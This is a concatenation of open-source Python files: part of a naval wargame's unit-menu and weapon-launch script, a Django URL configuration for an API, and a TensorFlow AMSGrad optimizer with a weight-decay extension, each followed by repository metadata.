UnitMenu.AddItemUI('Land/Surf Attack', 'AddAttackMission', 'Target')
if (hasASW):
UnitMenu.AddItemUI('ASW Patrol', 'AddASWMission', 'Datum')
if (hasAEW):
UnitMenu.AddItemUI('AEW Patrol', 'AddAEWMission', 'Datum')
UnitMenu.EndSubMenu()
UnitMenu.EndSubMenu()
########################
## ##
## Menu Utilities ##
## ##
########################
def BuildDeveloperMenu(Menu, UI):
if (UI.IsDeveloperMode() == 0):
return
Menu.AddItem('Dev tools', '')
Menu.BeginSubMenu()
Menu.AddItemUI('Move unit', 'MovePlatformDev', 'Datum')
if (UI.HasThrottle()):
Menu.AddItem('Speed vs alt', '*ShowAirInfo')
BuildDamageMenu(Menu, UI)
Menu.AddItem('TestCollision', '*TestCollision')
Menu.AddItem('TestCrossSection', '*TestCrossSection')
Menu.AddItem('ShowPlatformDebug', '*ShowPlatformDebug')
Menu.AddItem('Show Sonar Panel', '*ShowSonarPanel')
Menu.AddItem('Make invulnerable', 'MakePlatformInvulnerable')
Menu.AddItem('Show best launcher', 'ReportBestLauncherForTarget')
BuildLoadLauncherMenuAll(Menu, UI)
BuildSetFuelMenu(Menu, UI)
BuildLaunchAtMeMenu(Menu, UI)
Menu.EndSubMenu()
def SelectedUnitInventory(interface):
Selected = {'Air':0,
'FixedWing':0,
'RotaryWing':0,
'Ship':0,
'Sub':0,
'FixedLand':0,
'MobileLand':0,
'Launchers':0,
'HasTarget':0,
'HasThrottle':0,
'Speed+':0,
'Speed-':0,
'Alt+':0,
'Depth-':0,
'Depth+':0,
'TargetDatum':0,
'TargetTrack':0,
'TargetSet':0,
'HasAIWeap':0,
'HasAINav':0,
'UnitCount':0,
'HasBombs':0,
'CanStrafe':0,
'WeaponList':{},
'MagWeaponList':{},
'Tasks':{},
'Snorkel+':0,
'Snorkel-':0,
'Periscope+':0,
'Periscope-':0,
'PeriDeep':0,
'RadarMast+':0,
'RadarMast-':0,
'DieselSub':0,
'HasRadar':0,
'HasSonarA':0,
'HasSonarP':0,
'HasOptical':0,
'HasECM':0,
'HasESM':0,
'HasFlightPort':0,
'HasMagazine':0,
'FormLeader':0,
'FormMember':0,
'FormModeSprint':0,
'FormModePace':0,
}
group = False
try:
#maybe we are a group
test = interface.GetUnitCount()
group = True
except:
#maybe we are not.
group = False
if group:
for unit in xrange(interface.GetUnitCount()):
UI = interface.GetPlatformInterface(unit)
Selected = PerformInventory(UI, Selected)
else:
UI = interface
Selected = PerformInventory(UI, Selected)
return Selected
def PerformInventory(UI, Selected):
BB = UI.GetBlackboardInterface()
if UI.IsSurface():
Selected['Ship'] += 1
elif UI.IsAir():
Selected['Air'] += 1
if UI.IsHelo():
Selected['RotaryWing'] += 1
else:
Selected['FixedWing'] += 1
if UI.GetMaxAlt() > Selected['Alt+']:
Selected['Alt+'] = UI.GetMaxAlt()
elif UI.IsSub():
SI = UI.GetSubInterface()
Selected['Sub'] += 1
if SI.GetMaxDepth() > Selected['Depth+']:
Selected['Depth+'] = SI.GetMaxDepth()
if SI.IsPeriscopeRaised():
Selected['Periscope+'] = 1
else:
Selected['Periscope-'] = 1
if SI.IsRadarMastRaised():
Selected['RadarMast+'] = 1
else:
Selected['RadarMast-'] = 1
if SI.IsAtPeriscopeDepth():
Selected['PeriDeep'] = 1
if SI.IsSnorkeling():
Selected['Snorkel+'] = 1
else:
Selected['Snorkel-'] = 1
if SI.IsDieselElectric():
Selected['DieselSub'] = 1
elif UI.IsFixed():
Selected['FixedLand'] += 1
elif UI.IsGroundVehicle():
Selected['MobileLand'] += 1
speeds = [1,5,10,50,100,200,500]
for speed in speeds:
if UI.IsAir() and UI.HasThrottle():
if UI.GetSpeed() + speed <= max(UI.GetMaxSpeedForAltitude(UI.GetAlt()), UI.GetMaxSpeedForAltitudeAB(UI.GetAlt())):
if speed > Selected['Speed+']:
Selected['Speed+'] = speed
else:
if UI.GetSpeed() + speed <= UI.GetMaxSpeed():
if speed > Selected['Speed+']:
Selected['Speed+'] = speed
if UI.GetSpeed() >= speed:
if speed > Selected['Speed-']:
Selected['Speed-'] = speed
if BB.KeyExists('MissionTarget'):
MissionTarget = Read_Message_List(BB, 'MissionTarget')
if type(MissionTarget[1]) == type([]):
Selected['TargetDatum'] = 1
else:
Selected['TargetTrack'] = 1
if UI.GetTarget() > 0:
Selected['TargetSet'] = 1
if UI.HasFlightPort():
Selected['HasFlightPort'] = 1
if UI.HasMagazine():
Selected['HasMagazine'] = 1
if UI.GetLauncherCount() > 0:
Selected['Launchers'] = 1
Loaded_List = Selected['WeaponList']
Potential_Load_List = Selected['MagWeaponList']
for launcher_num in xrange(UI.GetLauncherCount()):
weap_name = UI.GetLauncherWeaponName(launcher_num)
launcher = UI.GetLauncherInfo(launcher_num)
loaded_qty = launcher.Quantity
load_qty = UI.GetLauncherQuantity(launcher_num)
if weap_name in Loaded_List:
Loaded_List[weap_name][0] = Loaded_List[weap_name][0] + loaded_qty
Loaded_List[weap_name][1] = Loaded_List[weap_name][1] + load_qty
else:
Loaded_List[weap_name] = [loaded_qty, load_qty]
for weapon in xrange(UI.GetLauncherTypesCount(launcher_num)):
stored_weap_name = UI.GetLauncherTypeName(launcher_num, weapon)
mag_qty = UI.GetMagazineQuantity(stored_weap_name)
if stored_weap_name in Potential_Load_List:
Potential_Load_List[stored_weap_name] = Potential_Load_List[stored_weap_name] + mag_qty
else:
Potential_Load_List[stored_weap_name] = mag_qty
Selected['WeaponList'] = Loaded_List
Selected['MagWeaponList'] = Potential_Load_List
if UI.HasThrottle():
Selected['HasThrottle'] = 1
if HasIronBombs(UI):
Selected['HasBombs'] = 1
task_list = UI.GetTaskList()
if (task_list.Size() > 0):
for task in xrange(task_list.Size()):
task_name = task_list.GetString(task)
if task_name in Selected['Tasks']:
Selected['Tasks'][task_name] = Selected['Tasks'][task_name] + 1
else:
Selected['Tasks'][task_name] = 1
for sensor_num in xrange(UI.GetSensorCount()):
sensor = UI.GetSensorInfo(sensor_num)
if sensor.type == 1:
Selected['HasRadar'] = 1
elif sensor.type == 2:
Selected['HasESM'] = 1
elif sensor.type == 4:
Selected['HasSonarP'] = 1
elif sensor.type == 8:
Selected['HasSonarA'] = 1
elif sensor.type == 16:
Selected['HasOptical'] = 1
elif sensor.type == 32:
Selected['HasECM'] = 1
if UI.IsInFormation() or UI.IsFormationLeader():
if UI.IsFormationLeader():
Selected['FormLeader'] += 1
else:
Selected['FormMember'] += 1
if UI.GetFormationMode() == 1:
Selected['FormModePace'] += 1
else:
Selected['FormModeSprint'] += 1
Selected['UnitCount'] = Selected['UnitCount']+1
return Selected
def DateString_DecimalYear(string):
#string formatted as YYYY/MM/DD HH:MM:SS
import re
date_time = re.split('\D+', string)
#convert the date into a decimal year:
import datetime
date = datetime.datetime(int(date_time[0]),int(date_time[1]),int(date_time[2]),int(date_time[3]),int(date_time[4]),int(date_time[5]))
dec_date = (float(date.strftime("%j"))-1) / 366 + float(date.strftime("%Y"))
return dec_date
def Get_Relevant_Stock(UI, loadouts_dict):
#do we have children?
children = 0
if UI.HasFlightPort():
FP = UI.GetFlightPortInfo()
if FP.GetUnitCount() > 0:
children = 1
#find all stocks for children
child_stocks = {}
done_list = []
if children:
for n in xrange(FP.GetUnitCount()):
UIn = FP.GetUnitPlatformInterface(n)
if UIn.GetClass() not in done_list:
done = False
for armament in loadouts_dict:
if UIn.GetClass() in loadouts_dict[armament]:
keys = sorted(loadouts_dict[armament][UIn.GetClass()].iterkeys())
for loadout in keys:
for item in loadouts_dict[armament][UIn.GetClass()][loadout]:
if UI.CanMagazineAcceptItem(item):
child_stocks[item] = None
done = True
done_list.append(UIn.GetClass())
if not done:
for L in xrange(UIn.GetLauncherCount()):
for x in xrange(UIn.GetLauncherTypesCount(L)):
item = UIn.GetLauncherTypeName(L, x)
if UI.CanMagazineAcceptItem(item):
child_stocks[item] = None
done_list.append(UIn.GetClass())
#find all stocks for parent.
parent_stocks = {}
for L in xrange(UI.GetLauncherCount()):
for x in xrange(UI.GetLauncherTypesCount(L)):
item = UI.GetLauncherTypeName(L, x)
if UI.CanMagazineAcceptItem(item):
parent_stocks[item] = None
classified = {'Parent':{}, 'Child':{}}
categories = [['MIS', 'Missile'], ['ROC', 'Rocket'], ['GBU', 'Guided Bomb'], ['UBU', 'Unguided Bomb'], ['GUN', 'Gun Round'], ['TRP', 'Torpedo'], ['CM', 'Counter Measure'], ['UNK', 'Unknown Item Type'], ['NUC', 'Nuclear'], ['MIN', 'Mines'], ['FUEL', 'Fuel Tanks'], ['BUI', 'Sonobuoys']]
for owner in classified:
for category in categories:
try:
classified[owner][category[0]] = {}
except KeyError:
classified[owner] = {category[0]:{}}
#classify the stocks now. Begin with parent stocks.
for stock in parent_stocks:
done = False
#just primary categories for now.
if not done:
if ('Nuclear' in UI.QueryDatabase('missile',stock,'DamageModel').GetRow(0).GetString(0) or
'Nuclear' in UI.QueryDatabase('ballistic',stock,'DamageModel').GetRow(0).GetString(0) or
'Nuclear' in UI.QueryDatabase('torpedo',stock,'DamageModel').GetRow(0).GetString(0)): #nuke
classified['Parent']['NUC'][stock] = None
done = True
if not done:
if UI.QueryDatabase('missile',stock,'ClassificationId').GetRow(0).GetString(0) == '64': #missile
classified['Parent']['MIS'][stock] = None
done = True
if not done:
if UI.QueryDatabase('ballistic',stock,'BallisticType').GetRow(0).GetString(0) == '1': #unguided bomb
classified['Parent']['UBU'][stock] = None
done = True
elif UI.QueryDatabase('ballistic',stock,'BallisticType').GetRow(0).GetString(0) == '3': #guided bomb
classified['Parent']['GBU'][stock] = None
done = True
if not done:
if UI.QueryDatabase('torpedo',stock,'ClassificationId').GetRow(0).GetString(0) == '130': #torpedo
classified['Parent']['TRP'][stock] = None
done = True
elif UI.QueryDatabase('torpedo',stock,'ClassificationId').GetRow(0).GetString(0) == '138': #mine
classified['Parent']['MIN'][stock] = None
done = True
if not done:
if (UI.QueryDatabase('ballistic',stock,'BallisticType').GetRow(0).GetString(0) == '0' or
UI.QueryDatabase('ballistic',stock,'BallisticType').GetRow(0).GetString(0) == '2'): #gun round, autocannon round
classified['Parent']['GUN'][stock] = None
done = True
if not done:
if (UI.QueryDatabase('ballistic',stock,'BallisticType').GetRow(0).GetString(0) == '4' or
UI.QueryDatabase('cm',stock,'ClassificationId').GetRow(0).GetString(0) == '36' or
UI.QueryDatabase('cm',stock,'ClassificationId').GetRow(0).GetString(0) == '136'): #gun cm, air cm, water cm
classified['Parent']['CM'][stock] = None
done = True
if not done:
if UI.QueryDatabase('ballistic',stock,'BallisticType').GetRow(0).GetString(0) == '5': #rockets
classified['Parent']['ROC'][stock] = None
done = True
if not done:
if UI.QueryDatabase('sonobuoy',stock,'ClassificationId').GetRow(0).GetString(0) == '132': #sonobuoy
classified['Parent']['BUI'][stock] = None
done = True
if not done:
classified['Parent']['UNK'][stock] = None
if children:
for stock in child_stocks:
done = False
#just primary categories for now.
if not done:
if ('Nuclear' in UI.QueryDatabase('missile',stock,'DamageModel').GetRow(0).GetString(0) or
'Nuclear' in UI.QueryDatabase('ballistic',stock,'DamageModel').GetRow(0).GetString(0) or
'Nuclear' in UI.QueryDatabase('torpedo',stock,'DamageModel').GetRow(0).GetString(0)): #nuke
classified['Child']['NUC'][stock] = None
done = True
if not done:
if UI.QueryDatabase('missile',stock,'ClassificationId').GetRow(0).GetString(0) == '64': #missile
classified['Child']['MIS'][stock] = None
done = True
if not done:
if UI.QueryDatabase('ballistic',stock,'BallisticType').GetRow(0).GetString(0) == '1': #unguided bomb
classified['Child']['UBU'][stock] = None
done = True
elif UI.QueryDatabase('ballistic',stock,'BallisticType').GetRow(0).GetString(0) == '3': #guided bomb
classified['Child']['GBU'][stock] = None
done = True
if not done:
if UI.QueryDatabase('torpedo',stock,'ClassificationId').GetRow(0).GetString(0) == '130': #torpedo
classified['Parent']['TRP'][stock] = None
done = True
elif UI.QueryDatabase('torpedo',stock,'ClassificationId').GetRow(0).GetString(0) == '138': #mine
classified['Parent']['MIN'][stock] = None
done = True
if not done:
if (UI.QueryDatabase('ballistic',stock,'BallisticType').GetRow(0).GetString(0) == '0' or
UI.QueryDatabase('ballistic',stock,'BallisticType').GetRow(0).GetString(0) == '2'): #gun round, autocannon round
classified['Child']['GUN'][stock] = None
done = True
if not done:
if (UI.QueryDatabase('ballistic',stock,'BallisticType').GetRow(0).GetString(0) == '4' or
UI.QueryDatabase('cm',stock,'ClassificationId').GetRow(0).GetString(0) == '36' or
UI.QueryDatabase('cm',stock,'ClassificationId').GetRow(0).GetString(0) == '136'): #gun cm, air cm, water cm
classified['Child']['CM'][stock] = None
done = True
if not done:
if UI.QueryDatabase('ballistic',stock,'BallisticType').GetRow(0).GetString(0) == '5': #rockets
classified['Child']['ROC'][stock] = None
done = True
if not done:
if UI.QueryDatabase('sonobuoy',stock,'ClassificationId').GetRow(0).GetString(0) == '132': #sonobuoy
classified['Child']['BUI'][stock] = None
done = True
if not done:
classified['Child']['UNK'][stock] = None
return classified
def ToggleFilterByYear(SM, state):
try:
SM.SetFilterByYear(state)
except:
#SM is probably UI...
SM = SM.GetScenarioInterface()
SM.SetFilterByYear(state)
def MenuLaunchCommand(interface, *args):
#we do not know:
#are we called by group or single unit
#are we going to fire on a target, or a datum
#the name of the weapon to be fired
#lets find out...
#target or datum?
if len(args) == 2:
#we were given a target to engage
target_id = int(args[0])
weapon_n = args[1]
target = True
elif len(args) == 3:
#we are given a datum to engage
Lon = args[0]
Lat = args[1]
Alt = -1
weapon_n = args[2]
target = False
elif len(args) == 4:
#we are given a datum to engage, includes altitude
Lon = args[0]
Lat = args[1]
Alt = args[2]
weapon_n = args[3]
target = False
#group or single?
group = False
try:
#maybe we are a group
test = interface.GetUnitCount()
group = True
except:
#maybe we are not.
group = False
#get our weapon name back
#load Selected from the first unit we can find the key saved to.
if group:
for unit in xrange(interface.GetUnitCount()):
UI = interface.GetPlatformInterface(unit)
BB = UI.GetBlackboardInterface()
Selected = Read_Message_Dict(BB, 'Selected')
break
else:
UI = interface
BB = UI.GetBlackboardInterface()
Selected = Read_Message_Dict(BB, 'Selected')
#now get the weapon name back.
loaded_list = Selected['WeaponList']
weapon_list = loaded_list.keys()
weapon_list.sort()
weapon_name = weapon_list[weapon_n]
unit_count = Selected['UnitCount']
#determine weapon name and perform engagement.
if group:
#we have a group, treat this a bit different
#try to get the weapon name back from Selected
GI = interface
#find closest unit
friendly_range_list = []
for unit in xrange(GI.GetUnitCount()):
UI = GI.GetPlatformInterface(unit)
if target:
track = UI.GetTrackById(target_id)
target_lon = track.Lon
target_lat = track.Lat
target_alt = track.Alt
else:
target_lon = Lon
target_lat = Lat
target_alt = UI.GetMapTerrainElevation(Lon, Lat)
if target_alt < -400:
target_alt = -400
target_alt = target_alt * 0.001
map_range = UI.GetRangeToDatum(Lon, Lat)
true_range = sqrt(map_range**2 + target_alt**2)
friendly_range_list.append([true_range, UI.GetPlatformId()])
friendly_range_list.sort()
#begin engagement
for unit in friendly_range_list:
for n in xrange(GI.GetUnitCount()):
UI = GI.GetPlatformInterface(n)
if UI.GetPlatformId() == unit[1]:
#we have the next unit in the sorted list
break
want_shoot = False
excuses = []
name = UI.GetPlatformName()
if Alt == -1:
Alt = UI.GetMapTerrainElevation(Lon, Lat)+1
for launcher_n in xrange(UI.GetLauncherCount()):
if weapon_name == UI.GetLauncherWeaponName(launcher_n):
#then we have the chosen weapon, proceed to launch.
want_shoot = True
launcher = UI.GetLauncherInfo(launcher_n)
if target:
UI.SetTarget(target_id)
UI.HandoffTargetToLauncher(launcher_n)
launcher = UI.GetLauncherInfo(launcher_n)
status, excuse = Check_Status(UI, launcher, 1)
if status and Use_Launcher_On_Target_Amram(UI, launcher_n, -2, target_id):
UI.DisplayMessage('%s, %s' % (name,excuse))
return
else:
excuses.append(excuse)
else:
UI.SendDatumToLauncher(Lon, Lat, Alt, launcher_n)
launcher = UI.GetLauncherInfo(launcher_n)
status, excuse = Check_Status(UI, launcher, 1)
if status and Use_Launcher_On_Target_Amram(UI, launcher_n, -2, Lon, Lat):
UI.DisplayMessage('%s, %s' % (name,excuse))
return
else:
excuses.append(excuse)
if want_shoot:
UI.DisplayMessage('%s did not shoot, reasons:%s' % (name, excuses))
else:
#its just the one unit, proceed direct to launcher selection.
#try to get the weapon name back from weapon_n
UI = interface
if Alt == -1:
Alt = UI.GetMapTerrainElevation(Lon, Lat)+1
excuses = []
name = UI.GetPlatformName()
#proceed to determining launcher to fire.
for launcher_n in xrange(UI.GetLauncherCount()):
if weapon_name == UI.GetLauncherWeaponName(launcher_n):
#then we have the chosen weapon, proceed to launch.
launcher = UI.GetLauncherInfo(launcher_n)
#check basic status
status, excuse = Check_Status(UI, launcher, 0)
if status:
if target:
UI.SetTarget(targe_idD)
UI.HandoffTargetToLauncher(launcher_n)
launcher = UI.GetLauncherInfo(launcher_n)
#recheck status after assigning launcher.
status, excuse = Check_Status(UI, launcher, 1)
if status and Use_Launcher_On_Target_Amram(UI, launcher_n, -2, target_id):
UI.DisplayMessage('%s, %s' % (name,excuse))
return
else:
excuses.append(excuse)
else:
UI.SendDatumToLauncher(Lon, Lat, Alt, launcher_n)
launcher = UI.GetLauncherInfo(launcher_n)
status, excuse = Check_Status(UI, launcher, 1)
if status and Use_Launcher_On_Target_Amram(UI, launcher_n, -2, Lon, Lat):
UI.DisplayMessage('%s, %s' % (name,excuse))
return
else:
excuses.append(excuse)
else:
excuses.append(excuse)
UI.DisplayMessage('%s did not shoot, reasons:%s' % (name, excuses))
return
| {
"repo_name": "gcblue/gcblue",
"path": "scripts/Amram_Menu.py",
"copies": "1",
"size": "61502",
"license": "bsd-3-clause",
"hash": 5542169269511476000,
"line_mean": 46.3092307692,
"line_max": 290,
"alpha_frac": 0.562567071,
"autogenerated": false,
"ratio": 3.7325969533288825,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.4795164024328883,
"avg_score": null,
"num_lines": null
} |
"""ams2 URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.11/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.conf.urls import url, include
2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))
"""
from django.conf import settings
from django.conf.urls import include, url
from django.contrib import admin
from django.contrib.staticfiles import views
from django.contrib.staticfiles.urls import staticfiles_urlpatterns
from rest_framework.documentation import include_docs_urls
from rest_framework_swagger.views import get_swagger_view
from rest_framework_jwt.views import obtain_jwt_token, refresh_jwt_token
schema_view = get_swagger_view(title='ICISTS AMS API')
urlpatterns = [
url(r'^admin/', admin.site.urls),
url(r'^docs/', schema_view),
url(r'^rest_docs/', include_docs_urls(title='ICISTS AMS API')),
# url(r'^accounts/', include('allauth.urls')),
url(r'^accounts/', include('rest_auth.urls')),
url(r'^accounts/registration/', include('rest_auth.registration.urls')),
url(r'^accounts/token-auth/', obtain_jwt_token),
url(r'^accounts/token-refresh/', refresh_jwt_token),
url(r'^accounts/', include('accounts.urls')),
url(r'^policy/', include('policy.urls')),
url(r'^registration/', include('registration.urls')),
]
if settings.DEBUG:
urlpatterns += [
url(r'^static/(?P<path>.*)$', views.serve),
]
urlpatterns += staticfiles_urlpatterns()
| {
"repo_name": "icists/ams2",
"path": "django/ams2/urls.py",
"copies": "1",
"size": "1849",
"license": "mit",
"hash": -2693601423335726000,
"line_mean": 37.5208333333,
"line_max": 79,
"alpha_frac": 0.7030827474,
"autogenerated": false,
"ratio": 3.5833333333333335,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.47864160807333334,
"avg_score": null,
"num_lines": null
} |
"""AMSGrad for TensorFlow."""
from tensorflow.python.eager import context
from tensorflow.python.framework import ops
from tensorflow.python.ops import control_flow_ops
from tensorflow.python.ops import math_ops
from tensorflow.python.ops import resource_variable_ops
from tensorflow.python.ops import state_ops
from tensorflow.python.ops import variable_scope
from tensorflow.python.training import optimizer
class AMSGrad(optimizer.Optimizer):
def __init__(self, learning_rate=0.01, beta1=0.9, beta2=0.99, epsilon=1e-8, use_locking=False, name="AMSGrad"):
super(AMSGrad, self).__init__(use_locking, name)
self._lr = learning_rate
self._beta1 = beta1
self._beta2 = beta2
self._epsilon = epsilon
self._lr_t = None
self._beta1_t = None
self._beta2_t = None
self._epsilon_t = None
self._beta1_power = None
self._beta2_power = None
def _create_slots(self, var_list):
first_var = min(var_list, key=lambda x: x.name)
create_new = self._beta1_power is None
if not create_new and context.in_graph_mode():
create_new = (self._beta1_power.graph is not first_var.graph)
if create_new:
with ops.colocate_with(first_var):
self._beta1_power = variable_scope.variable(self._beta1, name="beta1_power", trainable=False)
self._beta2_power = variable_scope.variable(self._beta2, name="beta2_power", trainable=False)
# Create slots for the first and second moments.
for v in var_list :
self._zeros_slot(v, "m", self._name)
self._zeros_slot(v, "v", self._name)
self._zeros_slot(v, "vhat", self._name)
def _prepare(self):
self._lr_t = ops.convert_to_tensor(self._lr)
self._beta1_t = ops.convert_to_tensor(self._beta1)
self._beta2_t = ops.convert_to_tensor(self._beta2)
self._epsilon_t = ops.convert_to_tensor(self._epsilon)
def _apply_dense(self, grad, var):
beta1_power = math_ops.cast(self._beta1_power, var.dtype.base_dtype)
beta2_power = math_ops.cast(self._beta2_power, var.dtype.base_dtype)
lr_t = math_ops.cast(self._lr_t, var.dtype.base_dtype)
beta1_t = math_ops.cast(self._beta1_t, var.dtype.base_dtype)
beta2_t = math_ops.cast(self._beta2_t, var.dtype.base_dtype)
epsilon_t = math_ops.cast(self._epsilon_t, var.dtype.base_dtype)
lr = (lr_t * math_ops.sqrt(1 - beta2_power) / (1 - beta1_power))
# m_t = beta1 * m + (1 - beta1) * g_t
m = self.get_slot(var, "m")
m_scaled_g_values = grad * (1 - beta1_t)
m_t = state_ops.assign(m, beta1_t * m + m_scaled_g_values, use_locking=self._use_locking)
# v_t = beta2 * v + (1 - beta2) * (g_t * g_t)
v = self.get_slot(var, "v")
v_scaled_g_values = (grad * grad) * (1 - beta2_t)
v_t = state_ops.assign(v, beta2_t * v + v_scaled_g_values, use_locking=self._use_locking)
# amsgrad
vhat = self.get_slot(var, "vhat")
vhat_t = state_ops.assign(vhat, math_ops.maximum(v_t, vhat))
v_sqrt = math_ops.sqrt(vhat_t)
var_update = state_ops.assign_sub(var, lr * m_t / (v_sqrt + epsilon_t), use_locking=self._use_locking)
return control_flow_ops.group(*[var_update, m_t, v_t, vhat_t])
def _resource_apply_dense(self, grad, var):
var = var.handle
beta1_power = math_ops.cast(self._beta1_power, grad.dtype.base_dtype)
beta2_power = math_ops.cast(self._beta2_power, grad.dtype.base_dtype)
lr_t = math_ops.cast(self._lr_t, grad.dtype.base_dtype)
beta1_t = math_ops.cast(self._beta1_t, grad.dtype.base_dtype)
beta2_t = math_ops.cast(self._beta2_t, grad.dtype.base_dtype)
epsilon_t = math_ops.cast(self._epsilon_t, grad.dtype.base_dtype)
lr = (lr_t * math_ops.sqrt(1 - beta2_power) / (1 - beta1_power))
# m_t = beta1 * m + (1 - beta1) * g_t
m = self.get_slot(var, "m").handle
m_scaled_g_values = grad * (1 - beta1_t)
m_t = state_ops.assign(m, beta1_t * m + m_scaled_g_values, use_locking=self._use_locking)
# v_t = beta2 * v + (1 - beta2) * (g_t * g_t)
v = self.get_slot(var, "v").handle
v_scaled_g_values = (grad * grad) * (1 - beta2_t)
v_t = state_ops.assign(v, beta2_t * v + v_scaled_g_values, use_locking=self._use_locking)
# amsgrad
vhat = self.get_slot(var, "vhat").handle
vhat_t = state_ops.assign(vhat, math_ops.maximum(v_t, vhat))
v_sqrt = math_ops.sqrt(vhat_t)
var_update = state_ops.assign_sub(var, lr * m_t / (v_sqrt + epsilon_t), use_locking=self._use_locking)
return control_flow_ops.group(*[var_update, m_t, v_t, vhat_t])
def _apply_sparse_shared(self, grad, var, indices, scatter_add):
beta1_power = math_ops.cast(self._beta1_power, var.dtype.base_dtype)
beta2_power = math_ops.cast(self._beta2_power, var.dtype.base_dtype)
lr_t = math_ops.cast(self._lr_t, var.dtype.base_dtype)
beta1_t = math_ops.cast(self._beta1_t, var.dtype.base_dtype)
beta2_t = math_ops.cast(self._beta2_t, var.dtype.base_dtype)
epsilon_t = math_ops.cast(self._epsilon_t, var.dtype.base_dtype)
lr = (lr_t * math_ops.sqrt(1 - beta2_power) / (1 - beta1_power))
# m_t = beta1 * m + (1 - beta1) * g_t
m = self.get_slot(var, "m")
m_scaled_g_values = grad * (1 - beta1_t)
m_t = state_ops.assign(m, m * beta1_t, use_locking=self._use_locking)
with ops.control_dependencies([m_t]):
m_t = scatter_add(m, indices, m_scaled_g_values)
# v_t = beta2 * v + (1 - beta2) * (g_t * g_t)
v = self.get_slot(var, "v")
v_scaled_g_values = (grad * grad) * (1 - beta2_t)
v_t = state_ops.assign(v, v * beta2_t, use_locking=self._use_locking)
with ops.control_dependencies([v_t]):
v_t = scatter_add(v, indices, v_scaled_g_values)
# amsgrad
vhat = self.get_slot(var, "vhat")
vhat_t = state_ops.assign(vhat, math_ops.maximum(v_t, vhat))
v_sqrt = math_ops.sqrt(vhat_t)
var_update = state_ops.assign_sub(var, lr * m_t / (v_sqrt + epsilon_t), use_locking=self._use_locking)
return control_flow_ops.group(*[var_update, m_t, v_t, vhat_t])
def _apply_sparse(self, grad, var):
return self._apply_sparse_shared(
grad.values, var, grad.indices,
lambda x, i, v: state_ops.scatter_add( # pylint: disable=g-long-lambda
x, i, v, use_locking=self._use_locking))
def _resource_scatter_add(self, x, i, v):
with ops.control_dependencies(
[resource_variable_ops.resource_scatter_add(x.handle, i, v)]):
return x.value()
def _resource_apply_sparse(self, grad, var, indices):
return self._apply_sparse_shared(
grad, var, indices, self._resource_scatter_add)
def _finish(self, update_ops, name_scope):
# Update the power accumulators.
with ops.control_dependencies(update_ops):
with ops.colocate_with(self._beta1_power):
update_beta1 = self._beta1_power.assign(
self._beta1_power * self._beta1_t,
use_locking=self._use_locking)
update_beta2 = self._beta2_power.assign(
self._beta2_power * self._beta2_t,
use_locking=self._use_locking)
return control_flow_ops.group(*update_ops + [update_beta1, update_beta2],
name=name_scope)
class DecoupledWeightDecayExtension(object):
"""This class allows to extend optimizers with decoupled weight decay.
It implements the decoupled weight decay described by Loshchilov & Hutter
(https://arxiv.org/pdf/1711.05101.pdf), in which the weight decay is
decoupled from the optimization steps w.r.t. to the loss function.
For SGD variants, this simplifies hyperparameter search since it decouples
the settings of weight decay and learning rate.
For adaptive gradient algorithms, it regularizes variables with large
gradients more than L2 regularization would, which was shown to yield better
training loss and generalization error in the paper above.
This class alone is not an optimizer but rather extends existing
optimizers with decoupled weight decay. We explicitly define the two examples
used in the above paper (SGDW and AdamW), but in general this can extend
any OptimizerX by using
`extend_with_weight_decay(OptimizerX, weight_decay=weight_decay)`.
In order for it to work, it must be the first class the Optimizer with
weight decay inherits from, e.g.
```python
class AdamWOptimizer(DecoupledWeightDecayExtension, adam.AdamOptimizer):
def __init__(self, weight_decay, *args, **kwargs):
super(AdamWOptimizer, self).__init__(weight_decay, *args, **kwargs).
```
Note that this extension decays weights BEFORE applying the update based
on the gradient, i.e. this extension only has the desired behaviour for
optimizers which do not depend on the value of'var' in the update step!
"""
def __init__(self, weight_decay, **kwargs):
"""Construct the extension class that adds weight decay to an optimizer.
Args:
weight_decay: A `Tensor` or a floating point value, the factor by which
a variable is decayed in the update step.
**kwargs: Optional list or tuple or set of `Variable` objects to
decay.
"""
self._decay_var_list = None # is set in minimize or apply_gradients
self._weight_decay = weight_decay
# The tensors are initialized in call to _prepare
self._weight_decay_tensor = None
super(DecoupledWeightDecayExtension, self).__init__(**kwargs)
def minimize(self, loss, global_step=None, var_list=None,
gate_gradients=optimizer.Optimizer.GATE_OP,
aggregation_method=None, colocate_gradients_with_ops=False,
name=None, grad_loss=None, decay_var_list=None):
"""Add operations to minimize `loss` by updating `var_list` with decay.
This function is the same as Optimizer.minimize except that it allows to
specify the variables that should be decayed using decay_var_list.
If decay_var_list is None, all variables in var_list are decayed.
For more information see the documentation of Optimizer.minimize.
Args:
loss: A `Tensor` containing the value to minimize.
global_step: Optional `Variable` to increment by one after the
variables have been updated.
var_list: Optional list or tuple of `Variable` objects to update to
minimize `loss`. Defaults to the list of variables collected in
the graph under the key `GraphKeys.TRAINABLE_VARIABLES`.
gate_gradients: How to gate the computation of gradients. Can be
`GATE_NONE`, `GATE_OP`, or `GATE_GRAPH`.
aggregation_method: Specifies the method used to combine gradient terms.
Valid values are defined in the class `AggregationMethod`.
colocate_gradients_with_ops: If True, try colocating gradients with
the corresponding op.
name: Optional name for the returned operation.
grad_loss: Optional. A `Tensor` holding the gradient computed for `loss`.
decay_var_list: Optional list of decay variables.
Returns:
An Operation that updates the variables in `var_list`. If `global_step`
was not `None`, that operation also increments `global_step`.
"""
self._decay_var_list = set(decay_var_list) if decay_var_list else False
return super(DecoupledWeightDecayExtension, self).minimize(
loss, global_step=global_step, var_list=var_list,
gate_gradients=gate_gradients, aggregation_method=aggregation_method,
colocate_gradients_with_ops=colocate_gradients_with_ops, name=name,
grad_loss=grad_loss)
def apply_gradients(self, grads_and_vars, global_step=None, name=None,
decay_var_list=None):
"""Apply gradients to variables and decay the variables.
This function is the same as Optimizer.apply_gradients except that it
allows to specify the variables that should be decayed using
decay_var_list. If decay_var_list is None, all variables in var_list
are decayed.
For more information see the documentation of Optimizer.apply_gradients.
Args:
grads_and_vars: List of (gradient, variable) pairs as returned by
`compute_gradients()`.
global_step: Optional `Variable` to increment by one after the
variables have been updated.
